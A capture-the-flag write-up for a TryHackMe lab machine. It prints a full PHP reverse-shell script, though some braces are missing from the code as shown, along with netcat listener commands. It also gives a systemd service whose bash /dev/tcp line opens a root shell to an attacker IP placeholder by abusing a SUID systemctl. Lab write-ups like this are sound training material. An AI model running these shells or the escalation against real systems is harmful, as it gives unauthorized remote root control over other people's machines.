TryHackMe - Vulnervisity - Privilege Escalation (Task 5)

This post will mainly focuses on Task 5 - Privilege Escalation.

To start Task 5, we need to ensure the end of Task 4 was complete correctly, therefore, upload the suggested exploit with an extension of .phtml for example pe.phtml to the server via the upload page (http://<ip>:3333/internal); below is the source-code of the exploit.

set_time_limit (0);
$VERSION = "1.0";
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// Daemonise ourself if possible to avoid zombies later

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");

    if ($pid) {
        exit(0);  // Parent exits

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

// Change to a safe directory

// Remove any umask we inherited

// Do the reverse shell...

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);


// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";


We then need to set up a netcat listener on your attacking (Kali) box (ensure you port matches the port in the exploit) to receive the reverse-shell.

> nc -lvnnp 1234

To execute the exploit we need to visit the link where the file was uploaded too (this link was given as part of Task 4).


Your netcat listener should now resemble the below output.

> nc -lvvnp 1234
listening on [any] 1234 ...
connect to [IP-ON-THM-NETWORK] from (UNKNOWN) [] 53402
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 04:33:53 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

As suggested the route to root is via a SUID file; the following command will find all SUID files on the target system.

> find / -perm -4000 2>/dev/null


The major security risk here is the /bin/systemctl as this allows execution of any commands via the User parameter when specifying a service file.

We first need to ensure we are in a directory which the current user can write to, /tmp is great for our purposes. Below is the service file we need to get onto the target machine.


ExecStart=/bin/bash -c "bash -i >& /dev/tcp/IP-ON-THM-NETWORK/9999 0>&1"


To save transfering this file it is just as to use printf to create the file we required.

> printf '[Unit]\nDescription=root\n\n[Service]\nType=simple\nUser=root\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/IP-ON-THM-NETWORK/9999 0>&1"\n\n[Install]\\n' > root.service

NOTE: ensure to change the port and ip address

The service file will now be here /tmp/root.service

We now need to enable and start the service, however, before we do that let's start another netcat listener on the port defined above.

(attacking machine)
> nc -lvnnp 9999
(target machine)
> systemctl enable /tmp/root.service
> systemctl start root

Once this service has started we should now see our netcat listener displaying a root shell - WELL DONE you have now complete the box; feel free to grab the root.txt flag from /root/root.txt.

Reference Links

@klockw3rk's Medium Blog


High on coffee revserse shell

You'll only receive email when they publish something new.

More from BreakBeforeMake